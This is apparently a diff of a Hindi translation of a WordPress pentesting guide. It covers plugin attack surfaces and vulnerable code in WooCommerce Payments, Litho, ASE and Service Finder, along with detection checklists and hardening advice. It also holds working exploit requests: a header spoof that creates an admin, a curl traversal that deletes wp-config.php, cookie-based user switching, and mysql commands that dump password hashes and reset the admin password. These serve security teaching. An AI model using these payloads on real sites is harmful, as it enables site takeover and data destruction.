mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
``` ```
admin पासवर्ड बदलें: admin password बदलें:
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
``` ```
## Wordpress Plugins Pentest ## Wordpress Plugins Pentest
### Attack Surface ### हमले की सतह
यह जानना कि एक Wordpress plugin कैसे functionality एक्सपोज़ कर सकता है, उसकी functionality में vulnerabilities खोजने के लिए ज़रूरी है। आप निम्न बुलेट पॉइंट्स में देख सकते हैं कि कोई plugin कैसे functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं। किस तरह एक Wordpress plugin फ़ंक्शनैलिटी को एक्सपोज़ कर सकता है यह जानना उसकी functionality में vulnerabilities खोजने के लिए अहम है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं।
- **`wp_ajax`** - **`wp_ajax`**
एक plugin अपने functions को users के लिए एक्सपोज़ करने के तरीकों में से एक AJAX handlers के माध्यम से कर सकता है। इनमें लॉजिक, authorization, या authentication बग्स हो सकते हैं। इसके अलावा, अक्सर ऐसा होता है कि ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित कर देते हैं, जो **Wordpress instance में प्रमाणीकृत कोई भी user के पास हो सकता है** (उसकी role के बावजूद)। एक plugin उपयोगकर्ताओं के लिए फ़ंक्शन्स एक्सपोज़ करने के तरीकों में से एक AJAX handlers के जरिए होता है। इनमें लॉजिक, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये फ़ंक्शन्स authentication और authorization दोनों को wordpress nonce की मौजूदगी पर आधारित कर देते हैं, जो **Wordpress instance में authenticated किसी भी user के पास हो सकता है** (चाहे उसकी role कोई भी हो)।
These are the functions that can be used to expose a function in a plugin: ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:
```php ```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
``` ```
**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) के लिए पहुँच योग्य बना देता है।** **`nopriv`` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) द्वारा पहुँच योग्य बना देता है।**
> [!CAUTION] > [!CAUTION]
> इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जाँच के लिए `wp_verify_nonce` फ़ंक्शन का उपयोग कर रहा है, तो यह फ़ंक्शन केवल यह जाँचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता। इसलिए कम-विशेषाधिकार उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली क्रियाओं तक पहुँच मिल सकती है। > इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली क्रियाओं की पहुँच मिल सकती है।
- **REST API** - **REST API**
यह भी संभव है कि wordpress से फ़ंक्शन को `register_rest_route` फ़ंक्शन का उपयोग करके rest AP में रजिस्टर करके एक्सपोज़ किया जाए: यह भी संभव है कि wordpress में `register_rest_route` फ़ंक्शन का उपयोग करके functions को expose किया जाए:
```php ```php
register_rest_route( register_rest_route(
$this->namespace, '/get/', array( $this->namespace, '/get/', array(
@ -363,20 +365,20 @@ $this->namespace, '/get/', array(
) )
); );
``` ```
The `permission_callback` एक callback फ़ंक्शन है जो जाँचता है कि कोई दिए गए user को API method कॉल करने के लिए अधिकृत है या नहीं। The `permission_callback` एक callback फ़ंक्शन है जो जाँच करता है कि दिया गया उपयोगकर्ता API method को कॉल करने के लिए अधिकृत है या नहीं।
**यदि built-in `__return_true` फ़ंक्शन उपयोग किया गया है, तो यह user permissions चेक को सीधे स्किप कर देगा।** **If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
- **php फ़ाइल तक सीधे एक्सेस** - **Direct access to the php file**
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे उपलब्ध होती हैं। इसलिए, अगर कोई plugin ऐसी कोई कमजोर फ़ंक्शनैलिटी एक्सपोज़ कर रहा है जो केवल फाइल तक पहुँचने से ट्रिगर हो जाती हो, तो वह किसी भी user द्वारा शोषित की जा सकती है। बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फ़ाइलें वेब से सीधे सुलभ होती हैं। इसलिए, यदि कोई plugin ऐसी कोई vulnerable functionality उजागर कर रहा है जो केवल फ़ाइल तक पहुँचने से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी।
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए current user context सेट करने में करते हैं। यदि वह header किसी upstream component द्वारा अनुरोध के साथ cryptographically bound नहीं है, तो एक attacker उसे spoof करके administrator के रूप में privileged REST routes तक पहुँच सकता है। कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान user context सेट करने के लिए करते हैं। यदि वह header किसी upstream component द्वारा cryptographically request के साथ bound नहीं है, तो एक attacker उसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है।
- प्रभाव: अप्रमाणित privilege escalation — core users REST route के माध्यम से नया administrator बनाकर admin privileges प्राप्त करना। - Impact: core users REST route के माध्यम से एक नया administrator बनाकर unauthenticated privilege escalation to admin।
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 को force करता है, जो आमतौर पर पहला administrator account होता है)। - Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 को मजबूर करता है — आम तौर पर पहला administrator account)।
- Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ। - Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ।
PoC PoC
@ -391,40 +393,40 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
``` ```
क्यों यह काम करता है Why it works
- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकरण स्थिति से मैप करता है और capability checks को स्किप कर देता है। - प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकृत स्थिति से मैप करता है और capability checks को स्किप कर देता है।
- WordPress कोर इस रूट के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बायपास करता है हेडर से current user context सीधे सेट करके। - WordPress core इस route के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बायपास करता है, हेडर से सीधे वर्तमान उपयोगकर्ता संदर्भ सेट करके।
अपेक्षित सफलता संकेतक Expected success indicators
- HTTP 201 एक JSON बॉडी के साथ जो बनाए गए user का वर्णन करती है। - HTTP 201, एक JSON बॉडी के साथ जो बनाए गए उपयोगकर्ता का विवरण देती है।
- `wp-admin/users.php` में दिखाई देने वाला एक नया admin user। - एक नया admin उपयोगकर्ता `wp-admin/users.php` में दिखाई देगा।
डिटेक्शन चेकलिस्ट Detection checklist
- `getallheaders()`, `$_SERVER['HTTP_...']` के लिए grep करें, या vendor SDKs जो custom headers पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`). - `getallheaders()`, `$_SERVER['HTTP_...']`, या उन vendor SDKs के लिए grep करें जो कस्टम हेडर पढ़कर उपयोगकर्ता संदर्भ सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- उन REST registrations की समीक्षा करें जहां privileged callbacks मजबूत `permission_callback` जांचों के बिना हैं और इसके बजाय request headers पर भरोसा करते हैं। - उन REST registrations की समीक्षा करें जहाँ privileged callbacks के पास मजबूत `permission_callback` चेक्स नहीं हैं और वे अनुरोध हेडरों पर निर्भर करते हैं।
- REST handlers के अंदर core user-management functions (`wp_insert_user`, `wp_create_user`) के उपयोग देखें जो केवल header values द्वारा gated हैं। - REST handlers के अंदर core user-management functions (`wp_insert_user`, `wp_create_user`) के उपयोग खोजें जिन्हें केवल हेडर मानों द्वारा gated किया गया है।
कठोरकरण Hardening
- कभी भी authentication या authorization को client-controlled headers से व्युत्पन्न न करें। - कभी भी क्लाइंट-नियंत्रित हेडरों से प्रमाणीकरण या प्राधिकरण न निकाले।
- यदि किसी reverse proxy को identity inject करनी ही हो, तो proxy पर trust terminate करें और inbound copies को strip करें (उदा., edge पर `unset X-Wcpay-Platform-Checkout-User`), फिर signed token पास करें और उसे server-side verify करें। - यदि एक reverse proxy को identity इंजेक्ट करनी ही है, तो proxy पर ट्रस्ट समाप्त करें और इनबाउंड कॉपियाँ हटा दें (उदा., `unset X-Wcpay-Platform-Checkout-User` at the edge), फिर एक signed token पास करें और इसे server-side पर सत्यापित करें।
- privileged actions करने वाले REST routes के लिए `current_user_can()` जांच और एक सख्त `permission_callback` आवश्यक करें (कृपया `__return_true` का उपयोग न करें)। - विशेषाधिकार वाले कार्य करने वाले REST routes के लिए `current_user_can()` चेक्स और एक कड़ा `permission_callback` आवश्यक करें (`__return_true` का उपयोग न करें)।
- header “impersonation” के बजाय first-party auth (cookies, application passwords, OAuth) को प्राथमिकता दें। - हेडर “impersonation” की बजाय first-party auth (cookies, application passwords, OAuth) को प्राथमिकता दें।
संदर्भ: सार्वजनिक केस और व्यापक विश्लेषण के लिए इस पृष्ठ के अंत में दिए लिंक देखें। References: पृष्ठ के अंत में दिए लिंक देखें जो एक सार्वजनिक केस और व्यापक विश्लेषण प्रस्तुत करते हैं।
### wp_ajax_nopriv के माध्यम से अनप्रमाणीकृत मनमाना फ़ाइल विलोपन (Litho Theme <= 3.0) ### अनप्रमाणीकृत मनमाना फ़ाइल विलोपन via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers expose करते हैं। जब **_nopriv_** variant का उपयोग किया जाता है तो **callback अनप्रमाणीकृत विज़िटर्स द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से निम्न लागू करना चाहिए: WordPress themes and plugins अक्सर AJAX handlers को `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से एक्सपोज करते हैं। जब **_nopriv_** variant का उपयोग किया जाता है तो **callback अनप्रमाणीकृत विजिटर्स द्वारा पहुँच योग्य हो जाता है**, इसलिए कोई भी संवेदनशील क्रिया अतिरिक्त रूप से लागू करनी चाहिए:
1. एक **capability जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और 1. एक **capability check** (उदा., `current_user_can()` या कम से कम `is_user_logged_in()`), और
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` से वैध किया गया हो, और 2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` से मान्य किया गया हो, और
3. **कठोर इनपुट sanitisation / validation**। 3. **कठोर इनपुट sanitisation / validation**।
Litho multipurpose theme (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) भेज दिया: The Litho multipurpose theme (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) शिप किया:
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -443,28 +445,28 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
``` ```
इस स्निपेट से उत्पन्न समस्याएँ: इस स्निपेट द्वारा उत्पन्न समस्याएँ:
* **प्रमाणीकरण रहित एक्सेस** – `wp_ajax_nopriv_` हुक पंजीकृत है। * **बिना प्रमाणीकरण पहुँच** – `wp_ajax_nopriv_` hook पंजीकृत है।
* **No nonce / capability check** – कोई भी विज़िटर इस endpoint को हिट कर सकता है। * **कोई nonce / capability check नहीं** – कोई भी विज़िटर endpoint को हिट कर सकता है।
* **No path sanitisation** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को बिना फ़िल्टर किए फ़ाइलसिस्टम पाथ के साथ जोड़ दिया जाता है, जिससे क्लासिक `../../` traversal संभव हो जाता है। * **कोई path sanitisation नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग बिना फ़िल्टरिंग के एक फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक `../../` traversal संभव हो जाता है।
#### शोषण #### Exploitation
एक हमलावर एक ही HTTP POST request भेजकर **uploads बेस डायरेक्टरी के नीचे** (सामान्यतः `<wp-root>/wp-content/uploads/`) की किसी भी फ़ाइल या डायरेक्टरी को डिलीट कर सकता है: एक हमलावर एकल HTTP POST request भेजकर **uploads base directory के नीचे** (आम तौर पर `<wp-root>/wp-content/uploads/`) किसी भी फ़ाइल या डायरेक्टरी को हटा सकता है:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \ -d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php' -d 'fontfamily=../../../../wp-config.php'
``` ```
चूँकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन में चार `../` sequences काफी होते हैं। `wp-config.php` को डिलीट करने पर अगली विज़िट पर WordPress *installation wizard* में चला जाता है, जिससे साइट का पूरा कब्ज़ा संभव हो जाता है (आक्रमणकर्ता केवल नई DB configuration देता है और एक admin user बना लेता है)। Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *इंस्टॉलेशन विज़ार्ड* on the next visit, enabling a full site take-over (हमलावर केवल एक नया DB configuration देता है और एक admin उपयोगकर्ता बनाता है).
अन्य प्रभावशाली लक्ष्य plugin/theme `.php` files (security plugins को तोड़ने के लिए) या `.htaccess` rules हो सकते हैं। Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### डिटेक्शन चेकलिस्ट #### डिटेक्शन चेकलिस्ट
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता है। * कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो फ़ाइल सिस्टम हेल्पर्स (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता हो।
* paths में unsanitised user input का concatenation (देखें `$_POST`, `$_GET`, `$_REQUEST`)। * पथों में साफ़ न किया गया उपयोगकर्ता इनपुट जोड़ना (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति। * `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति।
#### हार्डनिंग #### हार्डनिंग
@ -487,16 +489,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration // 🔒 NO wp_ajax_nopriv_ registration
``` ```
> [!TIP] > [!TIP]
> **Always** किसी भी disk पर write/delete operation को privileged मानें और डबल-चेक करें: > **हमेशा** किसी भी write/delete ऑपरेशन को डिस्क पर privileged मानें और दोबारा जाँच करें:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
--- ---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
कई plugins 'view as role' या temporary role-switching फीचर implement करते हैं, जो original role(s) को user meta में सेव करके बाद में restore करने के लिए रखते हैं। अगर restoration path केवल request parameters (e.g., `$_REQUEST['reset-for']`) और plugin-maintained सूची पर निर्भर करता है बिना capabilities चेक और valid nonce की जाँच किए, तो यह एक vertical privilege escalation बन जाता है। कई plugins एक "view as role" या temporary role-switching feature को लागू करते हैं, जो मूल role(s) को user meta में सेव करके बाद में restore करने के लिए रखते हैं। यदि restoration path केवल request parameters (e.g., `$_REQUEST['reset-for']`) और plugin-maintained सूची पर निर्भर करता है और capabilities और वैध nonce की जाँच नहीं करता, तो यह एक vertical privilege escalation बन जाता है।
एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में मिला। reset ब्रांच ने roles को `reset-for=<username>` के आधार पर restore किया यदि username internal array `$options['viewing_admin_as_role_are']` में दिखाई देता था, लेकिन उसने current roles को हटाने और user meta `_asenha_view_admin_as_original_roles` से saved roles को वापस जोड़ने से पहले न तो `current_user_can()` चेक किया और न ही nonce verification की: एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया। reset branch ने roles को `reset-for=<username>` के आधार पर restore किया अगर username internal array `$options['viewing_admin_as_role_are']` में मौजूद हो, लेकिन current roles को हटाने और user meta `_asenha_view_admin_as_original_roles` से saved roles को फिर से जोड़ने से पहले न तो `current_user_can()` चेक किया गया और न ही कोई nonce verification:
```php ```php
// Simplified vulnerable pattern // Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) { if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,19 +513,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
} }
} }
``` ```
क्यों यह शोषणयोग्य है Why it’s exploitable
- `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर सर्वर-साइड प्राधिकरण के बिना भरोसा करता है। - सर्वर-साइड प्राधिकरण के बिना `$_REQUEST['reset-for']` और plugin विकल्प पर भरोसा करता है।
- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में उच्चाधिकार सुरक्षित थे और उसे डाउनग्रेड कर दिया गया, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं। - यदि किसी user के पास पहले `_asenha_view_admin_as_original_roles` में उच्च-प्राधिकार सहेजे गए थे और बाद में उन्हें डाउनग्रेड किया गया, तो वे reset path को हिट करके उन्हें पुनर्स्थापित कर सकते हैं।
- कुछ deployments में, कोई भी प्रमाणीकृत उपयोगकर्ता `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (टूटी हुई प्राधिकरण)। - कुछ deployments में, कोई भी प्रमाणीकृत user `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (टूटी हुई प्राधिकरण जाँच)।
हमले की आवश्यकताएँ Attack prerequisites
- फीचर सक्षम होने वाला असुरक्षित प्लगइन संस्करण। - कमजोर plugin संस्करण जिसमें यह फीचर सक्षम हो।
- लक्षित खाते में पहले उपयोग से user meta में बचा हुआ उच्च-प्रिविलेज रोल मौजूद होना। - लक्षित खाता के user meta में पहले के उपयोग से एक अवशिष्ट उच्च-प्राधिकार रोल मौजूद होना।
- कोई भी प्रमाणीकृत सत्र; reset फ्लो पर nonce/capability का अभाव। - कोई भी प्रमाणीकृत सत्र; reset flow पर nonce/capability की कमी।
शोषण (उदाहरण) Exploitation (example)
```bash ```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path), # While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter. # hit any route that executes the role-switcher logic and include the reset parameter.
@ -531,57 +533,106 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \ curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>' 'https://victim.example/wp-admin/?reset-for=<your_username>'
``` ```
On vulnerable builds यह current roles हटा देता है और saved original roles (e.g., `administrator`) को फिर से जोड़ देता है, प्रभावी रूप से privileges escalate कर देता है। On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
Detection checklist Detection checklist
- Role-switching features की तलाश करें जो user meta में “मूल भूमिकाएँ” persist करती हैं (e.g., `_asenha_view_admin_as_original_roles`)। - ऐसी role-switching सुविधाओं की तलाश करें जो user meta में “मूल भूमिकाएँ” (उदा., `_asenha_view_admin_as_original_roles`) को स्थायी रूप से संग्रहीत करती हैं।
- उन reset/restore paths की पहचान करें जो: - Identify reset/restore paths that:
- `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं। - `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं।
- `add_role()` / `remove_role()` के माध्यम से roles modify करते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के। - `add_role()` / `remove_role()` के माध्यम से roles बदलते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
- plugin option array (e.g., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं बजाय उस actor की क्षमताओं के। - किसी plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं बजाय actor की capabilities के।
Hardening Hardening
- हर state-changing branch पर capability checks लागू करें (e.g., `current_user_can('manage_options')` या उससे भी कठोर)। - हर state-changing ब्रांच पर capability checks लागू करें (उदा., `current_user_can('manage_options')` या अधिक कड़ा)।
- सभी role/permission mutations के लिए nonces आवश्यक करें और उन्हें verify करें: `check_admin_referer()` / `wp_verify_nonce()`। - सभी role/permission परिवर्तनों के लिए nonces अनिवार्य करें और उन्हें verify करें: `check_admin_referer()` / `wp_verify_nonce()`।
- request-से प्राप्त उपयोगकर्ता नामों पर कभी भरोसा न करें; authenticated actor और explicit policy के आधार पर target user को server-side resolve करें। - कभी भी request-supplied usernames पर भरोसा न करें; authenticated actor और स्पष्ट नीति के आधार पर target user को server-side पर resolve करें।
- profile/role updates पर “मूल भूमिकाएँ” state को invalidate करें ताकि stale high-privilege restoration से बचा जा सके: - प्रोफ़ाइल/role अपडेट्स पर “original roles” स्टेट को invalid कर दें ताकि stale उच्च-प्रिविलेज़ पुनर्स्थापना से बचा जा सके:
```php ```php
add_action( 'profile_update', function( $user_id ) { add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 ); }, 10, 1 );
``` ```
- कम से कम state संग्रहित करने और अस्थायी role switches के लिए समय-सीमित, capability-guarded tokens का उपयोग करने पर विचार करें। - अस्थायी भूमिका परिवर्तन के लिए न्यूनतम state संग्रहीत करने और time-limited, capability-guarded tokens का उपयोग करने पर विचार करें।
--- ---
### WAF विचार WordPress/plugin CVEs के लिए ### Unauthenticated privilege escalation via cookie‑trusted user switching on public `init` (Service Finder “sf-booking”)
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए tuned होते हैं। कई high‑impact WordPress/plugin flaws application-specific logic/auth बग होते हैं जो सामान्य ट्रैफ़िक जैसा दिखते हैं जब तक engine WordPress routes और plugin semantics को नहीं समझता। कुछ plugins सार्वजनिक `init` hook पर user-switching helpers को जोड़ते हैं और पहचान client-controlled cookie से निकालते हैं। यदि कोड `wp_set_auth_cookie()` को authentication, capability और एक वैध nonce सत्यापित किए बिना कॉल करता है, तो कोई भी unauthenticated विज़िटर किसी भी arbitrary user ID के रूप में लॉगिन करने के लिए मजबूर कर सकता है।
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
क्यों यह शोषण योग्य है
- सार्वजनिक `init` hook हैंडलर को गैर-प्रमाणीकृत उपयोगकर्ताओं द्वारा पहुँचने योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)।
- पहचान क्लाइंट-परिवर्तनीय cookie (`original_user_id`) से निकाली जाती है।
- सीधे `wp_set_auth_cookie($uid)` को कॉल करना अनुरोधकर्ता को बिना किसी capability/nonce जाँच के उस उपयोगकर्ता के रूप में लॉग इन कर देता है।
शोषण (गैर-प्रमाणीकृत)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई high‑impact WordPress/plugin flaws application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफ़िक जैसे दिखते हैं जब तक इंजन WordPress routes और plugin semantics को न समझे।
Offensive notes Offensive notes
- साफ payloads के साथ plugin-specific endpoints को लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. - प्लगइन-विशिष्ट endpoints को clean payloads के साथ लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल हो जाते हैं। - पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल होते हैं।
- सामान्य high-impact मामलों में शामिल हैं: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. - सामान्य high-impact मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes Defensive notes
- plugin CVEs की रक्षा के लिए generic WAF signatures पर भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें। - plugin CVEs की सुरक्षा के लिए generic WAF signatures पर निर्भर न रहें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
- negative regex filters की अपेक्षा कोड में positive-security checks को प्राथमिकता दें (capabilities, nonces, strict input validation)। - code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।
## WordPress Protection ## WordPress Protection
### नियमित अपडेट ### Regular Updates
सुनिश्चित करें कि WordPress, plugins, और themes अपडेटेड हैं। साथ ही पुष्टि करें कि automated updating wp-config.php में enabled है: सुनिश्चित करें कि WordPress, plugins, और themes अप टू डेट हैं। यह भी सुनिश्चित करें कि automated updating wp-config.php में सक्षम है:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' );
``` ```
साथ ही, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स ही इंस्टॉल करें।** Also, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**।
### सुरक्षा प्लगइन्स ### सुरक्षा प्लगइन्स
@ -589,17 +640,18 @@ add_filter( 'auto_update_theme', '__return_true' );
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **अन्य अनुशंसाएँ** ### **अन्य सिफारिशें**
